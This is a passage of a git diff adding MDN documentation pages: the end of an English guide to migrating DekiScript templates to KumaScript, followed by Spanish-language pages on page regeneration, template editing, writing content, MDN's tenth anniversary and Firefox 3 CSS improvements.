+<p>To fix the problem, just delete the macro. Or, replace the curly braces on either side with HTML comments <code>&lt;!-- --&gt;</code> to preserve the information, like so:</p>
+
+<pre class="notranslate">&lt;!-- wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) --&gt;
+</pre>
+
+<p>Because Kuma supports localization differently, these macros aren't actually needed any more. But, they've been left intact in case we need to revisit the relationships between localized pages. Unfortunately, it seems like migration has failed to convert some of them properly.</p>
+
+<h3 id="Unconverted_inline_script_blocks">Unconverted inline script blocks</h3>
+
+<p>Occasionally, you'll find some text like this at the bottom of a page, or even somewhere in the middle:</p>
+
+<pre class="notranslate">ottoPreviousNext("JSGChapters");
+wiki.languages({
+  "fr": "fr/Guide_JavaScript_1.5/Expressions_rationnelles",
+  "ja": "ja/Core_JavaScript_1.5_Guide/Regular_Expressions"
+});
+</pre>
+
+<p>This is a script block that didn't get converted to a KumaScript macro during migration. It happens, unfortunately. If you switch to HTML source editing mode, you'll see this, a <code>&lt;pre class="script"&gt;</code> element:</p>
+
+<pre class="notranslate">&lt;pre class="script" style="font-size: 16px;"&gt;
+ottoPreviousNext(&amp;quot;JSGChapters&amp;quot;);
+wiki.languages({
+  &amp;quot;fr&amp;quot;: &amp;quot;fr/Guide_JavaScript_1.5/Expressions_rationnelles&amp;quot;,
+ &amp;nbsp;&amp;quot;ja&amp;quot;: &amp;quot;ja/Core_JavaScript_1.5_Guide/Regular_Expressions&amp;quot;
+});
+&lt;/pre&gt;
+</pre>
+
+<p>This is an inline script - previously allowed by DekiScript, no longer supported by KumaScript.</p>
+
+<p>For this particular example, common to the JavaScript Guide, you can fix it by removing the wiki.languages part (see <a href="/en-US/docs/Project:Introduction_to_KumaScript#Broken_wiki.languages()_macros" title="Project:Introduction_to_KumaScript#Broken_wiki.languages()_macros">previous section</a>) and change the ottoPreviousNext() into a macro like so:</p>
+
+<pre class="notranslate">\{{ ottoPreviousNext("JSGChapters") }}
+</pre>
+
+<p>If you see a block of code that's more complex than the above, you will need to create a new template, move the code there, and replace the code in its previous spot with a macro calling the new template.</p>
+
+<h3 id="Finding_the_Current_Pages_Language">Finding the Current Page's Language</h3>
+
+<p>In KumaScript, the locale of the current document is exposed as an environment variable:</p>
+
+<pre class="notranslate">var lang = env.locale;
+</pre>
+
+<p>In legacy DekiScript templates, coming up with the locale was a bit harder. You'll see chunks of code like this:</p>
+
+<pre class="notranslate">/* accepts as input one required parameter: MathML element to create an xref to */
+var u = uri.parts(Page.uri);
+var lang = string.tolower(u.path[0]);
+if (string.contains(lang, "project") || string.contains(lang, "Project")) {
+  lang = string.substr(lang, 8);
+}
+/* fall back to page.language on a user page */
+else if (string.StartsWith(lang, "user:")) {
+  lang = page.language;
+}
+</pre>
+
+<p>Please replace code like the above with the new KumaScript example. The <code>env.locale</code> variable should be reliable and defined for every document.</p>
+
+<h3 id="Reading_the_contents_of_a_page_attachment">Reading the contents of a page attachment</h3>
+
+<p>You can read the contents of an attached file by using the <code>mdn.getFileContent()</code> function, like this:</p>
+
+<pre class="notranslate">&lt;%
+  var contents = mdn.getFileContent(fileUrl);
+  ... do stuff with the contents ...
+%&gt;
+</pre>
+
+<p>or</p>
+
+<pre class="notranslate">&lt;%-mdn.getFileContent(fileObject)%&gt;
+</pre>
+
+<p>In other words, you may specify either the URL of the file to read or as a file object. The file objects for a page can be accessed through the array <code>env.files</code>. So, for example, to embed the contents of the first file attached to the article, you can do this:</p>
+
+<pre class="notranslate">&lt;%-mdn.getFileContent(env.files[0])%&gt;
+</pre>
+
+<div class="note"><strong>Note:</strong> You probably don't want to try to embed the contents of a non-text file this way, as the raw contents would be injected as text. This is meant to let you access the contents of text attachments.</div>
+
+<p>If the file isn't found, an empty string is returned. There is currently no way to tell the difference between an empty file and a nonexistent one. But if you're putting empty files on the wiki, you're doing it wrong.</p>
+
+<h3 id="Localizing_template_content">Localizing template content</h3>
+
+<p>Templates cannot be translated like other wiki pages. KumaScript only looks for templates in the en-US locale (i.e., <code>/en-US/docs/Template:{name}</code>), and does not look for templates that have been translated to another locale (i.e., <code>/fr/docs/Template:{name}</code>).</p>
+
+<p>So the main way to output content tailored to the current document locale is to pivot on the value of <code>env.locale</code>. There are many ways to do this, but a few patterns are common in the conversion of legacy DekiScript templates:</p>
+
+<h4 id="Ifelse_blocks_in_KumaScript">If/else blocks in KumaScript</h4>
+
+<p>The KumaScript equivalent of this can be achieved with simple if/else blocks, like so:</p>
+
+<pre class="notranslate">&lt;% if ("fr" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a title="Référence_CSS/Extensions_Mozilla" href="/fr/docs/Référence_CSS/Extensions_Mozilla"&gt;Référence CSS:Extensions Mozilla&lt;/a&gt;
+&lt;% } else if ("ja" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a title="CSS_Reference/Mozilla_Extensions" href="/ja/docs/CSS_Reference/Mozilla_Extensions"&gt;CSS リファレンス:Mozilla 拡張仕様&lt;/a&gt;
+&lt;% } else if ("pl" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a title="Dokumentacja_CSS/Rozszerzenia_Mozilli" href="/pl/docs/Dokumentacja_CSS/Rozszerzenia_Mozilli"&gt;Dokumentacja CSS:Rozszerzenia Mozilli&lt;/a&gt;
+&lt;% } else if ("de" == env.locale) { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a title="CSS_Referenz/Mozilla_CSS_Erweiterungen" href="/de/docs/CSS_Referenz/Mozilla_CSS_Erweiterungen"&gt;CSS Referenz: Mozilla Erweiterungen&lt;/a&gt;
+&lt;% } else { %&gt;
+&lt;%- template("CSSRef") %&gt; « &lt;a title="CSS_Reference/Mozilla_Extensions" href="/en-US/docs/CSS_Reference/Mozilla_Extensions"&gt;CSS Reference:Mozilla Extensions&lt;/a&gt;
+&lt;% } %&gt;
+</pre>
+
+<h5 id="Legacy_DekiScript"><strong>Legacy DekiScript</strong></h5>
+
+<p>A similar way this was done in DekiScript was using <code>&lt;span&gt;</code>'s with <code>lang="{locale}"</code> attributes, like so:</p>
+
+<pre class="notranslate">&lt;p&gt;&lt;span lang="*" class="lang lang-*"&gt;&lt;span class="script"&gt;CSSRef()&lt;/span&gt; « &lt;a title="en/CSS_Reference/Mozilla_Extensions" href="/en/CSS_Reference/Mozilla_Extensions"&gt;CSS Reference:Mozilla Extensions&lt;/a&gt;&lt;/span&gt;
+&lt;span lang="en" class="lang lang-en"&gt;&lt;span class="script"&gt;CSSRef()&lt;/span&gt; « &lt;a title="en/CSS_Reference/Mozilla_Extensions" href="/en/CSS_Reference/Mozilla_Extensions"&gt;CSS Reference:Mozilla Extensions&lt;/a&gt;
+&lt;span lang="fr" class="lang lang-fr"&gt;&lt;span class="script"&gt;CSSRef()&lt;/span&gt; « &lt;a title="fr/Référence_CSS/Extensions_Mozilla" href="/fr/Référence_CSS/Extensions_Mozilla"&gt;Référence CSS:Extensions Mozilla&lt;/a&gt;&lt;/span&gt;
+&lt;span lang="ja" class="lang lang-ja"&gt;&lt;span class="script"&gt;CSSRef()&lt;/span&gt; « &lt;a title="ja/CSS_Reference/Mozilla_Extensions" href="/ja/CSS_Reference/Mozilla_Extensions"&gt;CSS リファレンス:Mozilla 拡張仕様&lt;/a&gt;&lt;/span&gt;
+&lt;span lang="pl" class="lang lang-pl"&gt; &lt;span class="script"&gt;CSSRef()&lt;/span&gt; « &lt;a title="pl/Dokumentacja_CSS/Rozszerzenia_Mozilli" href="/pl/Dokumentacja_CSS/Rozszerzenia_Mozilli"&gt;Dokumentacja CSS:Rozszerzenia Mozilli&lt;/a&gt;&lt;/span&gt;
+&lt;span lang="de" class="lang lang-de"&gt;&lt;span class="script"&gt;CSSRef()&lt;/span&gt; « &lt;a title="de/CSS_Referenz/Mozilla_CSS_Erweiterungen" href="/de/CSS_Referenz/Mozilla_CSS_Erweiterungen"&gt;CSS Referenz: Mozilla Erweiterungen&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
+</pre>
+
+<p>This is no longer supported. If you encounter templates built using the legacy DekiScript approach, revise them to use the new KumaScript pattern.</p>
+
+<p>Depending on what text editor is your favorite, you may be able to copy &amp; paste from the browser-based editor and attack this pattern with a series of search/replace regexes to get you most of the way there.</p>
+
+<p>My favorite editor is MacVim, and a series of regexes like this does the bulk of the work with just a little manual clean up following:</p>
+
+<pre class="notranslate">%s#&lt;span#^M&lt;span#g
+%s#&lt;span lang="\(.*\)" .*&gt;#&lt;% } else if ("\1" == env.locale) { %&gt;#g
+%s#&lt;span class="script"&gt;template.Cssxref(#&lt;%- template("Cssxref", [#
+%s#)&lt;/span&gt; &lt;/span&gt;#]) %&gt;
+</pre>
+
+<p>Your mileage may vary, and patterns change slightly from template to template. That's why the migration script was unable to just handle this automatically, after all.</p>
+
+<h4 id="String_variables_and_switch">String variables and switch</h4>
+
+<p>Rather than switch between full chunks of markup, you can define a set of strings, switch them based on locale, and then use them to fill in placeholders in a single chunk of markup:</p>
+
+<pre class="notranslate">&lt;%
+var s_title = 'Firefox for Developers';
+switch (env.locale) {
+    case 'de':
+        s_title = "Firefox für Entwickler";
+        break;
+    case 'fr':
+        s_title = "Firefox pour les développeurs";
+        break;
+    case 'es':
+        s_title = "Firefox para desarrolladores";
+        break;
+};
+%&gt;
+&lt;span class="title"&gt;&lt;%= s_title %&gt;&lt;/span&gt;
+</pre>
+
+<p>You'll see examples of this in legacy DekiScript templates. For the most part, this pattern should work as-is, but you may need to adjust the expected values of locales (e.g., <code>en</code>, <code>cn</code>, <code>pt</code> become <code>en-US</code>, <code>zh-CN</code>, <code>pt-PT</code> respectively).</p>
+
+<h4 id="Use_mdn.localString">Use <code>mdn.localString()</code></h4>
+
+<p>A recent addition to the <code>Template:MDN:Common</code> module is <code>mdn.localString()</code>, used like this:</p>
+
+<pre class="notranslate">&lt;%
+var s_title = mdn.localString({
+  "en-US": "Firefox for Developers",
+  "de": "Firefox für Entwickler",
+  "es": "Firefox para desarrolladores"
+});
+%&gt;
+&lt;span class="title"&gt;&lt;%= s_title %&gt;&lt;/span&gt;
+</pre>
+
+<p>This is more concise than the switch statement, and may be a better choice where a single string is concerned. However, if many strings need to be translated (e.g., as in <a class="link-https" href="/en-US/docs/Template:CSSRef" title="/en-US/docs/Template:CSSRef">CSSRef</a>), a switch statement might help keep all the strings grouped by locale and more easily translated that way.</p>
+
+<p>When the object does not have the appropriate locale, the value of "en-US" is used as the initial value.</p>
+
+<h4 id="Before_and_after_examples">Before and after examples</h4>
+
+<p>Carriage returns added here and there for clarity.</p>
+
+<pre class="notranslate">// Before: DOM0() template Dekiscript
+&lt;p&gt;&lt;span class="lang lang-en" lang="en"&gt;DOM Level 0. Not part of any standard. &lt;/span&gt;
+&lt;span class="lang lang-es" lang="es"&gt;DOM Nivel 0. No es parte de ninguna norma. &lt;/span&gt;
+&lt;span class="lang lang-*" lang="*"&gt;DOM Level 0. Not part of any standard. &lt;/span&gt;
+&lt;span class="lang lang-fr" lang="fr"&gt;DOM Level 0. Ne fait partie d'aucune spécification. &lt;/span&gt;
+&lt;span class="lang lang-ja" lang="ja"&gt;DOM Level 0。どの標準にも属しません。 &lt;/span&gt;
+&lt;span class="lang lang-pl" lang="pl"&gt;DOM Level 0. Nie jest częścią żadnego standardu. &lt;/span&gt;
+&lt;span class="lang lang-zh-cn" lang="zh-cn"&gt;DOM Level 0 不属于任何标准.&lt;/span&gt;&lt;/p&gt;
+
+// After: Kumascript version
+&lt;% if ("fr" == env.locale) { %&gt;
+&lt;p&gt;DOM Level 0. Ne fait partie d'aucune spécification.&lt;/p&gt;
+&lt;% } else if ("ja" == env.locale) { %&gt;
+&lt;p&gt;DOM Level 0。どの標準にも属しません。 &lt;/p&gt;
+&lt;% } else if ("pl" == env.locale) { %&gt;
+&lt;p&gt;DOM Level 0. Nie jest częścią żadnego standardu.&lt;/p&gt;
+&lt;% } else if ("es" == env.locale) { %&gt;
+&lt;p&gt;DOM Nivel 0. No es parte de ninguna norma.&lt;/p&gt;
+&lt;% } else if ("zh-CN" == env.locale) { %&gt;
+&lt;p&gt;DOM Level 0 不属于任何标准.&lt;/p&gt;
+&lt;% } else { %&gt;
+&lt;p&gt;DOM Level 0. Not part of any standard.&lt;/p&gt;
+&lt;% } %&gt;</pre>
+
+<pre class="notranslate">// From ReleaseChannelInfo() template
+// Before:
+web.html("&lt;p&gt;Firefox " + $0 + ", based on Gecko " + $1 + ", will ship in " + $2 + ".
+ This article provides information about the changes in this release that will
+ affect developers. Nightly builds of what will become Firefox " + $0 + " are "
+  + web.link(url, "currently available") + " on the " + string.ToUpperFirst($3)
+  + " channel.&lt;/p&gt;");
+
+// After:
+&lt;p&gt;Firefox &lt;%= $0 %&gt;, based on Gecko &lt;%= $1 %&gt;, will ship in &lt;%= $2 %&gt;. This
+ article provides information about the changes in this release that will
+ affect developers. Nightly builds of what will become Firefox &lt;%= $0 %&gt;
+ are &lt;%- web.link(url, "currently available")%&gt;  on the
+ &lt;%= string.ToUpperFirst($3) %&gt; channel.&lt;/p&gt;</pre>
+
+<pre class="notranslate">// Before: old Dekiscript snippet
+if ($1 &amp;&amp; string.length($1)) {
+  optionsText = optionsText + "&lt;li&gt;" + LXRSearch("ident", "i", $1) + "&lt;/li&gt;";
+}
+
+// After: new Kumascript. Quote parameters to template() unless it is an arg variable (like $1).
+if ($1 &amp;&amp; string.length($1)) {
+    optionsText = optionsText + "&lt;li&gt;" + template("LXRSearch", ["ident", "i", $1]) + "&lt;/li&gt;";
+}
+
+// Note that template() within &lt;% ... %&gt; outputs nothing directly. If you want to call another
+// template and display its output, use &lt;%= %&gt; or &lt;%- %&gt; like this:
+&lt;%- template("LXRSearch", ["ident", "i", $1]) %&gt;</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Project:Getting_started_with_Kuma" title="Getting started with Kuma">Getting started with Kuma</a></li>
+ <li><a href="/en-US/docs/Project:KumaScript_reference" title="Project:en/KumaScript reference">KumaScript reference</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/MDN/Kuma" title="https://wiki.mozilla.org/MDN/Kuma">Kuma wiki</a></li>
+</ul>
diff --git a/files/es/mdn/tools/page_regeneration/index.html b/files/es/mdn/tools/page_regeneration/index.html
new file mode 100644
index 0000000000..cdc6fbd699
--- /dev/null
+++ b/files/es/mdn/tools/page_regeneration/index.html
@@ -0,0 +1,32 @@
+---
+title: Renderizado de páginas en MDN
+slug: MDN/Tools/Page_regeneration
+translation_of: MDN/Tools/Page_regeneration
+---
+<div>{{MDNSidebar}}</div>
+
+<p>El sitio MDN almacena en caché las páginas para que el usuario obtenga un mejor rendimiento. Como resultado, los cambios que guarde en una página podrían no aparecer la próxima vez que vuelva a cargar la página. A menudo, pero no siempre, aparece un banner en la página que indica que hay una actualización de la página en proceso. Puede hacer una "recarga forzada" (Shift + F5) en su navegador para volver a cargar la página desde el servidor, pero esto puede no tener efecto si la actualización en el servidor no se ha completado.</p>
+
+<p>Algunas páginas (especialmente las páginas de destino) usan macros para generar y actualizar automáticamente su contenido. Para las páginas de destino, esto asegura que los nuevos artículos se enumeren automáticamente en la página, sin que un escritor tenga que agregarlos manualmente. Esta es útil para los contribuyentes de mucho tiempo, y ayuda a los recién llegados a evitar que su trabajo se pierda en la confusión porque no sabían cómo vincular sus artículos en la jerarquía del sitio.</p>
+
+<p>Esto también se puede usar cuando se transmite contenido de una página a otras páginas (usando, por ejemplo, la macro {{TemplateLink ("Página")}}).</p>
+
+<p>Debido a que el caché de MDN almacena el contenido renderizado para mejorar el rendimiento, los cambios realizados en el material de origen (como salida de macro o páginas transcluidas) no se reflejan automáticamente en la página. Si espera cambios frecuentes en dichos materiales de origen, puede considerar habilitar la regeneración automática de su página.</p>
+
+<p>Siga los siguientes pasos para habilitar la regeneración automática:</p>
+
+<ol>
+ <li>Cambia el idioma del editor a inglés.</li>
+ <li>Haga clic en el botón <em><strong>Edit</strong> </em>en la página para ingresar al modo de edición.</li>
+ <li>Debajo del título de la página, haga clic en <em><strong>Edit page title and properties</strong></em> ubicados cerca del título de la página. Aparecen los campos de metadatos de la página.</li>
+ <li>Establezca un valor para <em><strong>Rendering max age</strong></em> . Este valor determina la cada cuánto tiempo se reconstruye la página en caché, incluida la ejecución de sus macros. Por lo general, usamos 4 u 8 por defecto. Para una tecnología cuya documentación está cambiando rápidamente, puede elegir un número más bajo.</li>
+ <li>Guarda tus cambios en la página. Es una buena práctica hacer un comentario de revisión que describa lo que hiciste, como "Establecer la Rendering max age en 4 horas".</li>
+</ol>
+
+<p>La página se regenerará automáticamente en el horario que especificó.</p>
+
+<div class="note">
+<p>Nota: La opción <em>Edit page title and properties</em> no está disponible al crear una nueva página; tendrás que volver a abrir el editor después de tu primer guardado.</p>
+
+<p>La opción <em>Edit page title and properties</em> no está disponible de momento en otros idiomas que no sean inglés.</p>
+</div>
diff --git a/files/es/mdn/tools/template_editing/index.html b/files/es/mdn/tools/template_editing/index.html
new file mode 100644
index 0000000000..0edab22e95
--- /dev/null
+++ b/files/es/mdn/tools/template_editing/index.html
@@ -0,0 +1,14 @@
+---
+title: Edición de plantillas
+slug: MDN/Tools/Template_editing
+tags:
+  - Guía
+  - Herramientas
+  - MDN Meta
+  - Privilegios
+  - Roles(2)
+translation_of: MDN/Tools/Template_editing
+---
+<div>{{MDNSidebar}}</div><p>En MDN, las plantillas escritas en <a href="/en-US/docs/MDN/Contribute/Tools/KumaScript">KumaScript</a> son usadas para automatizar la generación de contenido y la personalización de las páginas. Cada plantilla es un archivo separado <a href="https://github.com/mozilla/kumascript/tree/master/macros">del directorio de macros del repositorio GitHub KumaScript</a>.</p>
+
+<p><span class="seoSummary">Cualquiera que edite páginas wiki de MDN puede invocar plantillas utilizando <a href="/en-US/docs/MDN/Contribute/Structures/Macros">macros</a> en los artículos MDN.  Cuaquiera puede crear y editar plantillas vía <a href="https://github.com/mozilla/kumascript">el repositorio GitHub KumaScript GitHub</a> usando prácticas open-source estándar (bifurcando el repositorio, creando una rama, haciendo tus cambios, y enviando una petición de incorporación de cambios para revisión). </span>Ten en cuenta que enviar una petición de incorporación de cambios es actualmente la única forma de actualizar cadenas traducidas en las plantillas que las contienen.</p>
diff --git a/files/es/mdn/user_guide/index.html b/files/es/mdn/user_guide/index.html
new file mode 100644
index 0000000000..b2e20cd131
--- /dev/null
+++ b/files/es/mdn/user_guide/index.html
@@ -0,0 +1,13 @@
+---
+title: MDN user guide
+slug: MDN/User_guide
+tags:
+  - Documentation
+  - Landing
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: MDN/Tools
+---
+<div>{{MDNSidebar}}</div><p>The Mozilla Developer Network site is an advanced system for finding, reading, and contributing to documentation and sample code for Web developers (as well as for Firefox and Firefox OS developers). The MDN user guide provides articles detailing how to use MDN to find the documentation you need, and, if you wish, how to help make the material better, more expansive, and more complete.</p>
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/es/mdn/user_guide/writing/index.html b/files/es/mdn/user_guide/writing/index.html
new file mode 100644
index 0000000000..f90a45bfdf
--- /dev/null
+++ b/files/es/mdn/user_guide/writing/index.html
@@ -0,0 +1,67 @@
+---
+title: Escribir contenido
+slug: MDN/User_guide/Writing
+tags:
+  - Agregar
+  - Content
+  - Crear
+  - Create
+  - MDN
+  - Nueva
+  - Page
+  - Writing
+translation_of: Archive/Meta_docs/Writing_content
+---
+<div>{{MDNSidebar}}</div><p>Siempre hay cosas que se pueden agregar o actualizar en MDN. Ya sea una documentación completamente nueva y brillante API o una revisión de una vieja API que ha cambiado sutilmente, encontrarás muchas oportunidades para ayudar.</p>
+<h2 id="Editar_una_página_existente">Editar una página existente</h2>
+<p>Si has encontrado una página que te gustaría revisar, simplemente haz click en el botón "editar" en la parte superior derecha de la página. Esto abrirá el editor WYSIWYG para trabajar en los contenidos de la página. Mira la <a href="/es/docs/MDN/Contribute/Editor" title="/en-US/docs/Project:MDN/Contributing/Editor_guide">guía del editor MDN</a> para tener detalles de cómo trabajar con el editor, como así también cómo trabajar con el sistema macro que usamos para ayudar a automatizar la construcción y dar formato al contenido.</p>
+<p>Hay muchas muchas razones por las que podrías editar una página existente:</p>
+<ul>
+ <li>Has encontrado un error de otrografía o gramatical.</li>
+ <li>Quieres expresar algo en otras palabras para que sea más fácil de entender.</li>
+ <li>El diseño o el formato de la página es confuso.</li>
+ <li>THa cambiado la API documentada y hay que actualizar dicha documentación para que coincida con los cambios.</li>
+ <li>Te gustaría agregar información acerca de la diferencia de comporamiento entre distintos navegadores para una API.</li>
+ <li>Quieres agregar o mejorar un código de ejemplo. Vé {{anch("Agregar un código de muestra")}} debajo para más detalle.</li>
+ <li>El artículo es sólo un pequeño texto o, simplemente, faltan detalles importantes.</li>
+</ul>
+<h2 id="Agregar_una_nueva_página">Agregar una nueva página</h2>
+<p>¡Esto es grandioso! Agregar una nueva página a MDN hace que la Web te quiera y que quiera abrazarte. Hay muchas razones obvias para crear una nueva página, incluyendo documentar una API que todavía no lo está o agregar un nuevo tutorial o guía de un tema.</p>
+<p>Hay unos pasos a seguir para crear una nueva página enMDN, una vez que te hayas <a href="/es/docs/Project:MDN/Contribuyendo/Primeros_pasos#Ingresando_al_MDN" title="/en-US/docs/Project:MDN/Contributing/Getting_started#Logging_into_MDN">logueado</a>:</p>
+<dl>
+ <dt>
+  Haz click en el enlace "falta una página" ("missing page")</dt>
+ <dd>
+  Cuando navegas en MDN, ocasionalmente puedes encontrar enlaces a páginas que todavía no existen. A menudo, cuando creamos artículos, incluimos enlaces a páginas que hay que crear, incluso si no han sido construidas todavía. Esto nos ayuda a realizar un seguimiento de las cosas que se necesitan hacer, aunque algunas veces lleva algo de tiempo retomarlas. ¡Siéntete libre para hacerlo! Sólo haz click en estos enlaces y te llevarán derecho al editor para una nueva página.</dd>
+ <dt>
+  Crear una sub-página</dt>
+ <dd>
+  Cerca de la esquina superior derecha de cada artículo hay un menu desplegable llamado "Esta página" ("This page"). En ese menú, hay una opción "Nueva sup-página" ("New sub-page"). Haciendo click en esa opción se abre el editor de página para una nueva página, cuya página ascendente en la jerarquía del sitio, es la que elegiste "Nueva sup-página" ("New sub-page"). Simplemente completa el título y el enlace amigable, y comienza a escribir el contenido del artículo.</dd>
+ <dt>
+  Clonar una página</dt>
+ <dd>
+  También puedes clonar una página existente usando la opción "Clonar esta página" en el menú desplegable "Esta página". Haciendo click se crea una copia de la página actual, cuya página contenedora es la miama que la página actual, y abre el editor en esa página donde puedes colocar el título de la página y el enlace amigable y también, editar su contenido. Esta, normalmente, es una buena manera de agregar una nueva página a un área de referencia existente en el sitio porque, por ejemplo, te provee de un diseño de muestra para el contenido.</dd>
+ <dt>
+  Crear un enlace a una página que no existe, luego hacer click en él</dt>
+ <dd>
+  Este es un método un poco híbrido. Como cada debería ser enlazada de alguna parte podrías empezar creando un enlace al nuevo artículo agregándolo a una página existente y, luego de guardar la página, puedes hacer click en el lick que acabas de insertar para abrir un editor para el nuevo article.</dd>
+</dl>
+<div class="note">
+ <p><strong>Nota:</strong> si no ingresaste con tu nombre usuario, te va a aparecer el error 404 cuando trates de visitar un artículo que no existe en vez del editor de páginas.</p>
+</div>
+<h2 id="Buscar_información">Buscar información</h2>
+<p>Hay un montón de información allí afuera y puede ser difícil dar con la ayuda exacta que necesites. Aquí hay unos consejos para que comiences.</p>
+<dl>
+ <dt>
+  <a href="https://wiki.mozilla.org/Modules">Listas de propietarios de módulos</a></dt>
+ <dd>
+  Los proyectos Mozilla funcionan con una base de "propietario de módulo" . Cada componente mayor tiene un propietario o propietarios responsables de lo que pasa allí. Estos propietarios son muy frecuentemente tu mejor fuente de información o, por lo menos, un muy buena manera de encontrar a la persona correcta con la cual comunicarse.</dd>
+ <dt>
+  <a href="http://mxr.mozilla.org/">Referencia cruzada de la fuente de Mozilla</a></dt>
+ <dd>
+  RCM (ó en ingles, MXR), la referencia cruzada de Mozilla, te permite acceder a todo el código fuente del proyecto Mozilla (a excepción de algunas cosas, como gran parte del Sistema operativo Firefox, que se encuentra en GitHub). El código y sus comentarios son, amenudo. un gran resurso para la información.</dd>
+ <dt>
+  <a href="http://wiki.mozilla.org/">La wiki de Mozilla wiki</a></dt>
+ <dd>
+  La wiki de Mozilla, frecuentemente referenciada como "wikimo", es un depósito de notas de procesos y diseños, borradores, planes y especificaciones preliminares. A pesar de ser muchas veces un caos, es un tesoro con información invaluable.</dd>
+</dl>
diff --git a/files/es/mdn_en_diez/index.html b/files/es/mdn_en_diez/index.html
new file mode 100644
index 0000000000..0e48e9e6ba
--- /dev/null
+++ b/files/es/mdn_en_diez/index.html
@@ -0,0 +1,39 @@
+---
+title: MDN en 10
+slug: MDN_en_diez
+tags:
+  - MDN
+translation_of: MDN_at_ten
+---
+<div class="summary">Celebra 10 años documentando tu Web.</div>
+
+<div class="column-container">
+<div class="column-8">
+<h2 id="La_historia_de_MDN_(Mozilla_Developers_Network)">La historia de MDN (Mozilla Developers Network)</h2>
+
+<p>A principios de 2005 , un grupo pequeño de idealistas se propuso a crear una nueva, libre, comunidad en línea de recursos para todos los desarrolladores Web. Su brillante pero poco excentrica idea se convirtió en la actual Mozilla Developer Network (MDN) - el principal recurso para todas las tecnologías Web abiertas. Diez años más tarde, nuestra comunidad mundial es más grande que nunca, y juntos todavía estamos creando documentación , código de ejemplo y recursos de aprendizaje para todas las tecnologías Web abiertas, incluyendo CSS , HTML , JavaScript y todo lo demás que hace que la web abierta tan poderoso como lo es.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/History_of_MDN">Aprende más<span class="offscreen">about the history</span></a></p>
+
+
+<h2 id="Contribuyendo_a_MDN">Contribuyendo a MDN</h2>
+
+<p>Por diez años, la comunidad MDN ha estado documentando la Web abierta. Desde la reparación de los errores tipográficos simples hasta escribir suites completas de una nueva API, todo el mundo tiene algo que ofrecer y ninguna contribución es demasiado grande o demasiado pequeño. Contamos con más de 90.000 páginas de contenido que se han escrito o traducidos por miembros de nuestra destacada comunidad de Mozillians . Tú puedes ser uno de ellos.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Aprende más<span class="offscreen">about contributing</span></a></p>
+
+<p> </p>
+
+<p> </p>
+</div>
+
+<div class="column-4">{{TenthCampaignQuote}}</div>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ol>
+ <li><a href="/en-US/docs/MDN_at_ten/">MDN en 10</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/History_of_MDN">La historia de MDN</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Contribuyendo a MDN</a></li>
+</ol>
+</div>
diff --git a/files/es/mejoras_css_en_firefox_3/index.html b/files/es/mejoras_css_en_firefox_3/index.html
new file mode 100644
index 0000000000..8a4665ee81
--- /dev/null
+++ b/files/es/mejoras_css_en_firefox_3/index.html
@@ -0,0 +1,65 @@
+---
+title: Mejoras para CSS en Firefox 3
+slug: Mejoras_CSS_en_Firefox_3
+tags:
+  - CSS
+  - Firefox 3
+  - Todas_las_Categorías
+translation_of: Mozilla/Firefox/releases/3/CSS_improvements
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<div class="pageText" id="pageText">
+<p> </p>
+
+<p>Firefox 3 ofrece una variedad de mejoras en su implementación de CSS. Mientras esperamos a que se incluyan estos cambios en la documentación, este artículo ofrece una descripción general de todos ellos. De esta forma, los desarrolladores podrán estar al tanto de dichos cambios.</p>
+
+<p> </p>
+
+<p><strong>Se han implementado: </strong></p>
+
+<ul>
+ <li>los valores <code>inline-block</code> e <code>inline-table</code> de la propiedad <span class="lang lang-es"><code><a href="../../../../es/CSS/display" rel="internal">display</a></code></span></li>
+ <li>la propiedad <span class="lang lang-es"><code><a href="../../../../es/CSS/font-size-adjust" rel="internal">font-size-adjust</a></code></span>; ahora funciona en todas las plataformas. Anteriormente sólo estaba implementada en Windows</li>
+ <li><code>rgba()</code> y <code>hsla()</code> para la propiedad <span class="lang lang-es"><code><a href="../../../../es/CSS/color" rel="internal">color</a></code></span> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=147017" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=147017">bug 147017</a> </span>)</li>
+ <li>la pseudo-clase <span class="lang lang-es"><code><a href="../../../../es/CSS/%3adefault" rel="internal">:default</a></code></span> ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=302186" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=302186">bug 302186</a> </span>)</li>
+ <li>el guión medio en HTML (<code>­</code>)</li>
+ <li>la propiedad <span class="lang lang-en"><code><a href="../../../../en/CSS/ime-mode" rel="internal">ime-mode</a></code></span></li>
+ <li>la propiedad <code>text-rendering</code> de CSS para HTML ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=387969" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=387969">bug 387969</a> </span>)</li>
+ <li>las propiedades <code>-moz-border-<var>*</var>-start</code> y <code>-moz-border-<var>*</var>-end</code> de CSS ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=74880" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=74880">bug 74880</a> </span>)</li>
